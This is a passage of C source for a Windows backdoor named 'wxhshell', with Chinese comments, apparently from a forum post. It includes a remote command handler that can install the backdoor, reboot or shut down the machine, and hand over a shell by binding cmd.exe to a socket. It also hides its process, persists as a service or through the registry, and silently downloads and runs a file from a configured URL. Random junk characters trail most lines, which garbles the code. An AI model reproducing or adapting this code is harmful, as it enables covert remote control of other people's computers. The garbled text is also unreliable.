      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @LY[kt6o  
    break; lv~ga2>z  
  } tv2k&\1  
  // 安装 ` +)Bl%*  
  case 'i': { jkAru_C  
    if(Install()) 06`caG|]-M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l\!`ZhM,  
    else Fu% n8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >"z`))9  
    break; FE:} D ;$  
    } Xc&J.Tw#4*  
  // 卸载 'Tskx  
  case 'r': { LoSrXK~0~J  
    if(Uninstall()) LMN`<R(q]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YRv}w3yQ  
    else QWWI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); crx%;R   
    break; |QQ(1#d  
    } rl2(DA{  
  // 显示 wxhshell 所在路径 "*S_wN%  
  case 'p': { &x4*YM h  
    char svExeFile[MAX_PATH]; $7-S\sDr  
    strcpy(svExeFile,"\n\r"); - /cf3  
      strcat(svExeFile,ExeFile); fp`m>} -  
        send(wsh,svExeFile,strlen(svExeFile),0); n?S)H=  
    break; R*lq.7   
    } K M[&WT  
  // 重启 a/rQ@c>  
  case 'b': { DcC|oU[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d7uS[tKqg  
    if(Boot(REBOOT)) #Fgybokm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*Fp}d.  
    else { rT[b ^l}  
    closesocket(wsh); =B`=f,,#3  
    ExitThread(0); P057]cAat<  
    } ;y)3/46S  
    break; K;`W4:,  
    } {IF$\{Al  
  // 关机  .4Mc4'  
  case 'd': { \5a;_N[Ed  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @y6^/'  
    if(Boot(SHUTDOWN)) aU$8 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0d89>UB-8q  
    else { H> n;[  
    closesocket(wsh); Tu^H,vf  
    ExitThread(0); HIvSh6|0p  
    } =AF;3  
    break; };'~@%U]/  
    } .R#<Q  
  // 获取shell kt7Emb}  
  case 's': { aU#r`D@0  
    CmdShell(wsh); !, sQB_09C  
    closesocket(wsh); 'oM=ZU8wo  
    ExitThread(0); Wd7qpWItjQ  
    break; X@/wsW(kM\  
  } 67||wh.BU  
  // 退出 umpa!q};  
  case 'x': { n" vO?8Sx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V<U9Pj^?^  
    CloseIt(wsh); #U vWS  
    break; SP vKq=,  
    } O7J V{'?  
  // 离开 a4]=4[(iu>  
  case 'q': { <d[GGkY]=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M=1~BZQ(Z  
    closesocket(wsh); E};1 H  
    WSACleanup(); 4KW_#d`t  
    exit(1); >keY x<1  
    break; ']H*f2y  
        } +JB*1dz>8  
  } Wi*HLP!lNC  
  } a,:Nlr3  
 Sg(\+j=  
  // 提示信息 _+Uf5,.5yU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {>Qs+]  
} COxJ,v(  
  } 6rlM\k@!  
b8 6c[2  
  return; Ng*O/g`%L  
} xo(>nFjo  
WpkCFp  
// shell模块句柄 Hx9lQ8  
int CmdShell(SOCKET sock) N*KM6j  
{ " "CNw-^t  
STARTUPINFO si; u~Y+YzCxV  
ZeroMemory(&si,sizeof(si)); V9;IH<s:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vp8!-[R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jk])S~xl?  
PROCESS_INFORMATION ProcessInfo; ph3dm\U.  
char cmdline[]="cmd"; C2L=i3R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JycC\s+%E  
  return 0; 3)l<'~"z<  
} o%h[o9i  
#BI6+rfv|  
// 自身启动模式 , lBHA+@  
int StartFromService(void) h0l_9uI  
{ ei[,ug'  
typedef struct =[)2DJC  
{ <}%gZ:Z6g  
  DWORD ExitStatus; vfh\X1Ui}  
  DWORD PebBaseAddress; '=UsN_@  
  DWORD AffinityMask; n,p \~Tu,  
  DWORD BasePriority; WmblY2  
  ULONG UniqueProcessId; vs*@)'n0}  
  ULONG InheritedFromUniqueProcessId; j$k/oQ  
}   PROCESS_BASIC_INFORMATION; %'9&JsO  
tU-jtJ  
PROCNTQSIP NtQueryInformationProcess; A*W/Q<~I  
* [b~2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \obM}caT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4@@gC&:Y  
FCChB7c`  
  HANDLE             hProcess; P_E xh]P  
  PROCESS_BASIC_INFORMATION pbi; D)eRk0iC  
# tU@\H5kN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); De49!{\a  
  if(NULL == hInst ) return 0; FuP~_ E~  
= Fwzm^}6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $-n_$jLY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jZ?^ |1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z}>+!Z  
)2b bG4:N  
  if (!NtQueryInformationProcess) return 0; wR9gx-bE 4  
x' 3kHw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _2xYDi  
  if(!hProcess) return 0; ^E3 HY@j  
QhPpo#^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :Lq=)'d;6  
NOtwgZ-  
  CloseHandle(hProcess); Y_nlIcu  
-M-y*P)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wOR#sp&  
if(hProcess==NULL) return 0; FNXVd/{M3  
pF:C   
HMODULE hMod; (9+N_dLx~P  
char procName[255]; r6e!";w:U  
unsigned long cbNeeded; .X6V>e)(3  
tBE-:hX*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '>% c@C[  
l i2/"~l  
  CloseHandle(hProcess); "IoY$!Hk  
p5bM/{DP;K  
if(strstr(procName,"services")) return 1; // 以服务启动 z2SR/[I?  
L$; gf_L  
  return 0; // 注册表启动 d)v!U+-|'  
} WZ ,t~TN  
 >fgV!o4  
// 主模块 w M#q [m;  
int StartWxhshell(LPSTR lpCmdLine) _;k))K^  
{ Le,+jm  
  SOCKET wsl; L%f$ &  
BOOL val=TRUE; `e+eL*rZ~  
  int port=0; 9`DY6qfly  
  struct sockaddr_in door; [Ny'vAHOj  
pEiq;2{~Yn  
  if(wscfg.ws_autoins) Install(); 6hqqZ  
T!Uf PfEI  
port=atoi(lpCmdLine); jHc/ EZB  
oX[I4i%G  
if(port<=0) port=wscfg.ws_port; (9!kKMQW'  
:$oiP  
  WSADATA data; s *<T5Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O9)k)A]`O  
* 9}~?#b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ijs=4f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nv\<>gA:  
  door.sin_family = AF_INET; @%#!-wC-5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yx/qp<=  
  door.sin_port = htons(port); ^4>Icz^ F  
\J^xpR_0u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jv:|J DZ'  
closesocket(wsl); t($z+ C<  
return 1; 6bt{j   
} 9;EY3[N  
 SwmX_F#_  
  if(listen(wsl,2) == INVALID_SOCKET) { A>}]=Ii/  
closesocket(wsl); bqUQadDB  
return 1; 0"=}d y  
} x`p3I*_HT5  
  Wxhshell(wsl); .y~~[QF}8  
  WSACleanup(); "RsH'`  
yykyvy  
return 0; /M~rmIks  
p2o6 6t  
} IR*:i{  
xqaw00,s  
// 以NT服务方式启动 hin6cac  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OTwXc*2u]  
{ I,!>ZG@6  
DWORD   status = 0; c#(&\g2H  
  DWORD   specificError = 0xfffffff; rD U"l{cg  
}ilX 2s?>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :a9$f8*b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; " qrL:,   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8_ _C T  
  serviceStatus.dwWin32ExitCode     = 0; 4$b9<:M_  
  serviceStatus.dwServiceSpecificExitCode = 0; .@]M'S^1  
  serviceStatus.dwCheckPoint       = 0; ^b(> Bg )T  
  serviceStatus.dwWaitHint       = 0; }@w Xm  
DR#[\RzNI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ? 8)$N  
  if (hServiceStatusHandle==0) return; DX#F]8bWl  
%q,^A+=  
status = GetLastError(); j~rarR@NB)  
  if (status!=NO_ERROR) }sS1 p6z  
{ WnC0T5S?U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GE.@*W  
    serviceStatus.dwCheckPoint       = 0; 5V/CYcO  
    serviceStatus.dwWaitHint       = 0; bLyG3~P;0  
    serviceStatus.dwWin32ExitCode     = status; 7q:  
    serviceStatus.dwServiceSpecificExitCode = specificError; M;qV% k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;={Z Bx  
    return; a fhZM$  
  } "Q<*H<e  
_7w2E   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yj{:%Km:`  
  serviceStatus.dwCheckPoint       = 0; 9 8eS f  
  serviceStatus.dwWaitHint       = 0; "n=Ih_J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q CB9z  
} mPo].z  
_a=f.I  
// 处理NT服务事件,比如:启动、停止 \78kShx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T?E[LzZg  
{ y7# 4Mcc`~  
switch(fdwControl) a'ODm6#  
{ XG}pp`{o  
case SERVICE_CONTROL_STOP: W'9=st'  
  serviceStatus.dwWin32ExitCode = 0; }\/f~ ?tEh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yw)Ztg)  
  serviceStatus.dwCheckPoint   = 0; )hai?v~g  
  serviceStatus.dwWaitHint     = 0; ;M Z@2CO  
  { [M6/?4\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xF3H\`{4x  
  } /q8?xP.   
  return; >w=xGb7  
case SERVICE_CONTROL_PAUSE: E={W^k!Vz:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :WBl0`kW]4  
  break; f*SAbDE  
case SERVICE_CONTROL_CONTINUE:  g8_IZ(%:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &vp0zYd+v  
  break; 3 eFBe2  
case SERVICE_CONTROL_INTERROGATE: ;i><03  
  break; emI]'{_G  
}; 7eg//mL"6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4';tMiz  
} >, }m=X8  
&c!=< <5M  
// 标准应用程序主函数 @*c ) s_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L"6@3  
{ kY6))9 O  
-m~[z  
// 获取操作系统版本 e?D,=A4mV"  
OsIsNt=GetOsVer(); %C[ ;&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lEC58`Ws  
P&Q 5ZQb  
  // 从命令行安装 3It'!R8$  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4n@, p0   
ZWJFd(6  
  // 下载执行文件  Dk fw*Oo  
if(wscfg.ws_downexe) { TY|]""3 f9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1xo<V5  
  WinExec(wscfg.ws_filenam,SW_HIDE); %R{clbbbn  
} -h8!O+7 .  
}?Y+GT"E  
if(!OsIsNt) { VmB/X))   
// 如果时win9x,隐藏进程并且设置为注册表启动 1v&!`^G99j  
HideProc(); ? I}T[j  
StartWxhshell(lpCmdLine); z {J1pH_X  
} a;Y9wn  
else (Rk g  
  if(StartFromService()) w`Dzk. 2  
  // 以服务方式启动 EF{_-FXY  
  StartServiceCtrlDispatcher(DispatchTable); -3r&O:  
else !lF|90=  
  // 普通方式启动 .j4IW 3)  
  StartWxhshell(lpCmdLine); 5aTyM_x  
O,[aL;v  
return 0; X 3Vpxtb  
}
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只看该作者 1 发表于: 2006-10-10
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